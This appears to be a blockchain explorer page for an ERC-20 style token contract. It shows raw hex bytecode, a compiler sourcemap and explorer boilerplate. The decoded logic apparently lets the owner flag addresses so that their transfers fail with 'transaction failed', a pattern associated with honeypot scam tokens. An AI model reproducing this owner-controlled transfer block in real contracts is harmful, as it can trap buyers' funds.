806040838503121561118457611183610f2d565b5b5f61119185828601610f77565b92505060206111a285828601610f77565b9150509250929050565b7f7472616e73616374696f6e206661696c656400000000000000000000000000005f82015250565b5f6111e0601283610ea7565b91506111eb826111ac565b602082019050919050565b5f6020820190508181035f83015261120d816111d4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61124b82610f8b565b915061125683610f8b565b925082820390508181111561126e5761126d611214565b5b92915050565b5f61127e82610f8b565b915061128983610f8b565b92508282019050808211156112a1576112a0611214565b5b92915050565b7f43616c6c6572206973206e6f7420746865206f776e65720000000000000000005f82015250565b5f6112db601783610ea7565b91506112e6826112a7565b602082019050919050565b5f6020820190508181035f830152611308816112cf565b9050919050565b7f417070726f76652066726f6d20746865207a65726f20616464726573730000005f82015250565b5f611343601d83610ea7565b915061134e8261130f565b602082019050919050565b5f6020820190508181035f83015261137081611337565b9050919050565b7f417070726f766520746f20746865207a65726f206164647265737300000000005f82015250565b5f6113ab601b83610ea7565b91506113b682611377565b602082019050919050565b5f6020820190508181035f8301526113d88161139f565b9050919050565b7f5472616e736665722066726f6d20746865207a65726f206164647265737300005f82015250565b5f611413601e83610ea7565b915061141e826113df565b602082019050919050565b5f6020820190508181035f83015261144081611407565b9050919050565b7f5472616e7366657220746f20746865207a65726f2061646472657373000000005f82015250565b5f61147b601c83610ea7565b915061148682611447565b602082019050919050565b5f6020820190508181035f8301526114a88161146f565b9050919050565b7f5472616e7366657220616d6f756e7420657863656564732062616c616e6365005f82015250565b5f6114e3601f83610ea7565b91506114ee826114af565b602082019050919050565b5f6020820190508181035f830152611510816114d7565b905091905056fea264697066735822122018689a6675945944bca9bff76641a1e0ffb741b0b7245e6e5c71b3e4a4c7ad2864736f6c634300081a0033

Deployed Bytecode Sourcemap

149:3985:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;171:37;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1755:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1167:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1913:314;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;303:59;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;261:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2235:203;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1266:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2667:140;;;:::i;:::-;;215:39;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2446:213;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1384:221;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2815:186;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1613:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;171:37;;;;;;;;;;;;;;;;;;;:::o;1755:150::-;1821:4;1838:37;1847:10;1859:7;1868:6;1838:8;:37::i;:::-;1893:4;1886:11;;1755:150;;;;:::o;1167:91::-;1211:7;1238:12;;1231:19;;1167:91;:::o;1913:314::-;2002:4;2028:10;:18;2039:6;2028:18;;;;;;;;;;;;;;;;;;;;;;;;;2027:19;2019:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;2080:36;2090:6;2098:9;2109:6;2080:9;:36::i;:::-;2127:70;2136:6;2144:10;2190:6;2156:11;:19;2168:6;2156:19;;;;;;;;;;;;;;;:31;2176:10;2156:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;2127:8;:70::i;:::-;2215:4;2208:11;;1913:314;;;;;:::o;303:59::-;344:18;303:59;:::o;261:35::-;294:2;261:35;:::o;2235:203::-;2315:4;2332:76;2341:10;2353:7;2397:10;2362:11;:23;2374:10;2362:23;;;;;;;;;;;;;;;:32;2386:7;2362:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;2332:8;:76::i;:::-;2426:4;2419:11;;2235:203;;;;:::o;1266:110::-;1323:7;1350:9;:18;1360:7;1350:18;;;;;;;;;;;;;;;;1343:25;;1266:110;;;:::o;2667:140::-;995:10;985:20;;:6;;;;;;;;;;;:20;;;977:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2766:1:::1;2729:40;;2750:6;;;;;;;;;;;2729:40;;;;;;;;;;;;2797:1;2780:6;;:19;;;;;;;;;;;;;;;;;;2667:140::o:0;215:39::-;;;;;;;;;;;;;;;;;;;:::o;2446:213::-;2531:4;2548:81;2557:10;2569:7;2613:15;2578:11;:23;2590:10;2578:23;;;;;;;;;;;;;;;:32;2602:7;2578:32;;;;;;;;;;;;;;;;:50;;;;:::i;:::-;2548:8;:81::i;:::-;2647:4;2640:11;;2446:213;;;;:::o;1384:221::-;1453:4;1479:10;:22;1490:10;1479:22;;;;;;;;;;;;;;;;;;;;;;;;;1478:23;1470:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;1535:40;1545:10;1557:9;1568:6;1535:9;:40::i;:::-;1593:4;1586:11;;1384:221;;;;:::o;2815:186::-;995:10;985:20;;:6;;;;;;;;;;;:20;;;977:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2922:13:::1;2900:10;:19;2911:7;2900:19;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;2970:7;2951:42;;;2979:13;2951:42;;;;;;:::i;:::-;;;;;;;;2815:186:::0;;:::o;1613:134::-;1685:7;1712:11;:18;1724:5;1712:18;;;;;;;;;;;;;;;:27;1731:7;1712:27;;;;;;;;;;;;;;;;1705:34;;1613:134;;;;:::o;3807:324::-;3918:1;3901:19;;:5;:19;;;3893:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;3992:1;3973:21;;:7;:21;;;3965:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;4069:6;4039:11;:18;4051:5;4039:18;;;;;;;;;;;;;;;:27;4058:7;4039:27;;;;;;;;;;;;;;;:36;;;;4107:7;4091:32;;4100:5;4091:32;;;4116:6;4091:32;;;;;;:::i;:::-;;;;;;;;3807:324;;;:::o;3009:523::-;3125:1;3107:20;;:6;:20;;;3099:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;3202:1;3181:23;;:9;:23;;;3173:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;3277:6;3256:9;:17;3266:6;3256:17;;;;;;;;;;;;;;;;:27;;3248:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;3351:10;:18;3362:6;3351:18;;;;;;;;;;;;;;;;;;;;;;;;;3350:19;3342:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;3426:6;3405:9;:17;3415:6;3405:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;3467:6;3443:9;:20;3453:9;3443:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;3506:9;3489:35;;3498:6;3489:35;;;3517:6;3489:35;;;;;;:::i;:::-;;;;;;;;3009:523;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:116::-;5151:21;5166:5;5151:21;:::i;:::-;5144:5;5141:32;5131:60;;5187:1;5184;5177:12;5131:60;5081:116;:::o;5203:133::-;5246:5;5284:6;5271:20;5262:29;;5300:30;5324:5;5300:30;:::i;:::-;5203:133;;;;:::o;5342:468::-;5407:6;5415;5464:2;5452:9;5443:7;5439:23;5435:32;5432:119;;;5470:79;;:::i;:::-;5432:119;5590:1;5615:53;5660:7;5651:6;5640:9;5636:22;5615:53;:::i;:::-;5605:63;;5561:117;5717:2;5743:50;5785:7;5776:6;5765:9;5761:22;5743:50;:::i;:::-;5733:60;;5688:115;5342:468;;;;;:::o;5816:474::-;5884:6;5892;5941:2;5929:9;5920:7;5916:23;5912:32;5909:119;;;5947:79;;:::i;:::-;5909:119;6067:1;6092:53;6137:7;6128:6;6117:9;6113:22;6092:53;:::i;:::-;6082:63;;6038:117;6194:2;6220:53;6265:7;6256:6;6245:9;6241:22;6220:53;:::i;:::-;6210:63;;6165:118;5816:474;;;;;:::o;6296:168::-;6436:20;6432:1;6424:6;6420:14;6413:44;6296:168;:::o;6470:366::-;6612:3;6633:67;6697:2;6692:3;6633:67;:::i;:::-;6626:74;;6709:93;6798:3;6709:93;:::i;:::-;6827:2;6822:3;6818:12;6811:19;;6470:366;;;:::o;6842:419::-;7008:4;7046:2;7035:9;7031:18;7023:26;;7095:9;7089:4;7085:20;7081:1;7070:9;7066:17;7059:47;7123:131;7249:4;7123:131;:::i;:::-;7115:139;;6842:419;;;:::o;7267:180::-;7315:77;7312:1;7305:88;7412:4;7409:1;7402:15;7436:4;7433:1;7426:15;7453:194;7493:4;7513:20;7531:1;7513:20;:::i;:::-;7508:25;;7547:20;7565:1;7547:20;:::i;:::-;7542:25;;7591:1;7588;7584:9;7576:17;;7615:1;7609:4;7606:11;7603:37;;;7620:18;;:::i;:::-;7603:37;7453:194;;;;:::o;7653:191::-;7693:3;7712:20;7730:1;7712:20;:::i;:::-;7707:25;;7746:20;7764:1;7746:20;:::i;:::-;7741:25;;7789:1;7786;7782:9;7775:16;;7810:3;7807:1;7804:10;7801:36;;;7817:18;;:::i;:::-;7801:36;7653:191;;;;:::o;7850:173::-;7990:25;7986:1;7978:6;7974:14;7967:49;7850:173;:::o;8029:366::-;8171:3;8192:67;8256:2;8251:3;8192:67;:::i;:::-;8185:74;;8268:93;8357:3;8268:93;:::i;:::-;8386:2;8381:3;8377:12;8370:19;;8029:366;;;:::o;8401:419::-;8567:4;8605:2;8594:9;8590:18;8582:26;;8654:9;8648:4;8644:20;8640:1;8629:9;8625:17;8618:47;8682:131;8808:4;8682:131;:::i;:::-;8674:139;;8401:419;;;:::o;8826:179::-;8966:31;8962:1;8954:6;8950:14;8943:55;8826:179;:::o;9011:366::-;9153:3;9174:67;9238:2;9233:3;9174:67;:::i;:::-;9167:74;;9250:93;9339:3;9250:93;:::i;:::-;9368:2;9363:3;9359:12;9352:19;;9011:366;;;:::o;9383:419::-;9549:4;9587:2;9576:9;9572:18;9564:26;;9636:9;9630:4;9626:20;9622:1;9611:9;9607:17;9600:47;9664:131;9790:4;9664:131;:::i;:::-;9656:139;;9383:419;;;:::o;9808:177::-;9948:29;9944:1;9936:6;9932:14;9925:53;9808:177;:::o;9991:366::-;10133:3;10154:67;10218:2;10213:3;10154:67;:::i;:::-;10147:74;;10230:93;10319:3;10230:93;:::i;:::-;10348:2;10343:3;10339:12;10332:19;;9991:366;;;:::o;10363:419::-;10529:4;10567:2;10556:9;10552:18;10544:26;;10616:9;10610:4;10606:20;10602:1;10591:9;10587:17;10580:47;10644:131;10770:4;10644:131;:::i;:::-;10636:139;;10363:419;;;:::o;10788:180::-;10928:32;10924:1;10916:6;10912:14;10905:56;10788:180;:::o;10974:366::-;11116:3;11137:67;11201:2;11196:3;11137:67;:::i;:::-;11130:74;;11213:93;11302:3;11213:93;:::i;:::-;11331:2;11326:3;11322:12;11315:19;;10974:366;;;:::o;11346:419::-;11512:4;11550:2;11539:9;11535:18;11527:26;;11599:9;11593:4;11589:20;11585:1;11574:9;11570:17;11563:47;11627:131;11753:4;11627:131;:::i;:::-;11619:139;;11346:419;;;:::o;11771:178::-;11911:30;11907:1;11899:6;11895:14;11888:54;11771:178;:::o;11955:366::-;12097:3;12118:67;12182:2;12177:3;12118:67;:::i;:::-;12111:74;;12194:93;12283:3;12194:93;:::i;:::-;12312:2;12307:3;12303:12;12296:19;;11955:366;;;:::o;12327:419::-;12493:4;12531:2;12520:9;12516:18;12508:26;;12580:9;12574:4;12570:20;12566:1;12555:9;12551:17;12544:47;12608:131;12734:4;12608:131;:::i;:::-;12600:139;;12327:419;;;:::o;12752:181::-;12892:33;12888:1;12880:6;12876:14;12869:57;12752:181;:::o;12939:366::-;13081:3;13102:67;13166:2;13161:3;13102:67;:::i;:::-;13095:74;;13178:93;13267:3;13178:93;:::i;:::-;13296:2;13291:3;13287:12;13280:19;;12939:366;;;:::o;13311:419::-;13477:4;13515:2;13504:9;13500:18;13492:26;;13564:9;13558:4;13554:20;13550:1;13539:9;13535:17;13528:47;13592:131;13718:4;13592:131;:::i;:::-;13584:139;;13311:419;;;:::o

Swarm Source

ipfs://18689a6675945944bca9bff76641a1e0ffb741b0b7245e6e5c71b3e4a4c7ad28

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.